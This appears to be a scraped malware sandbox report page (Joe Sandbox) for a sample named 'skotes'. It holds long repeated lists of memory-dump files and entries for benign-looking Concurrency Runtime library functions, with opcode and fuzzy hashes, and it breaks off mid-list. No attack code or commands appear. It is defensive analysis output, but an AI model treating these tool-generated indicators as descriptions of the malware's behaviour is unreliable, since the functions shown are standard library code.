Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 01fc9c109116e2f2a0df3861bcdc646b8816a33757dafe8090fbdb185fc1592f
Instruction ID: 635244e408117f989b7bedd4c28dd1bf333e2f13139f8b840882379819715d4f
Opcode Fuzzy Hash: 01fc9c109116e2f2a0df3861bcdc646b8816a33757dafe8090fbdb185fc1592f
Instruction Fuzzy Hash: 39210836B00615BBCB19AB68D8A5AFCB3A5BF94334B46012AE511872D1CFA4EC41CBD0

Function 001AAE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 001AAEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001AAF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 001AAF4E

Strings

pExecutionResource, xrefs: 001AAF07

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 848bb63722a5c8c5ed2c6473405673aa5c9e034e1310d8ba757f9f4d92ea34bb
Instruction ID: 943cd481faa3cdc1acc2945cdc05715c8a6a780901f84dcc070f3bfb07c50d8f
Opcode Fuzzy Hash: 848bb63722a5c8c5ed2c6473405673aa5c9e034e1310d8ba757f9f4d92ea34bb
Instruction Fuzzy Hash: 41219675A41305ABCF08EFA4C892BADB7A5BF58314F50401DE505AB382DBB0EE05CB95

Function 001A4EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 001A4F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 001A4F66

Strings

count, xrefs: 001A4EBA
ppVirtualProcessorRoots, xrefs: 001A4F1C

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: 5976b30e50136b222dc7066515c2a61369bde7da8474aaddb363f6884dcbc9cc
Instruction ID: 4edef095f5819e62a808fb7a343057c769d6bb6db17cb68d69cc44854b3658f6
Opcode Fuzzy Hash: 5976b30e50136b222dc7066515c2a61369bde7da8474aaddb363f6884dcbc9cc
Instruction Fuzzy Hash: 7721D039600215EFCF04EFA8C892EAD77B5BF99310F00402AF5069B691CB71AE01CB91

Function 001AB975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 001ABA0E

Strings

combase.dll, xrefs: 001AB983, 001AB988, 001AB99D, 001AB9C8
RoUninitialize, xrefs: 001AB9C1
RoInitialize, xrefs: 001AB998

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 5014abd6fc113ef428a7de4d55aade887357771523e3c97897a314d0b6dea8e6
Instruction ID: fec0ca3e9b7e33b85dacce8be2230c2ae76300b46fdb3996bf13afcc1c211435
Opcode Fuzzy Hash: 5014abd6fc113ef428a7de4d55aade887357771523e3c97897a314d0b6dea8e6
Instruction Fuzzy Hash: 9701F5B55953A16DEB10B7B55D41BBB31DE5F0235CF602829F540E71A2EF25D40046A1

Function 001A6E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 001A6E73

Part of subcall function 001A4E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 001A4E7F
Part of subcall function 001A4E6E: List.LIBCMT ref: 001A4E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 001A6E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 001A6EAA

Strings

eventObject, xrefs: 001A6E7D

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: cef487d9fbd420e10e223e8ac87acc519dc3602ea77e27ab3ea32683ab7261ae
Instruction ID: b391496f8c88868158f8e160135577726098a6f183ec33fe54f7232d2975d226
Opcode Fuzzy Hash: cef487d9fbd420e10e223e8ac87acc519dc3602ea77e27ab3ea32683ab7261ae
Instruction Fuzzy Hash: 0311E17A540218A7DB28FBA4CD46FFE73A8AF12314F244155F505A61D1DB74AA04C6B1

Function 001AA0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 001AA102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 001AA126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001AA139

Strings

pScheduler, xrefs: 001AA131

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
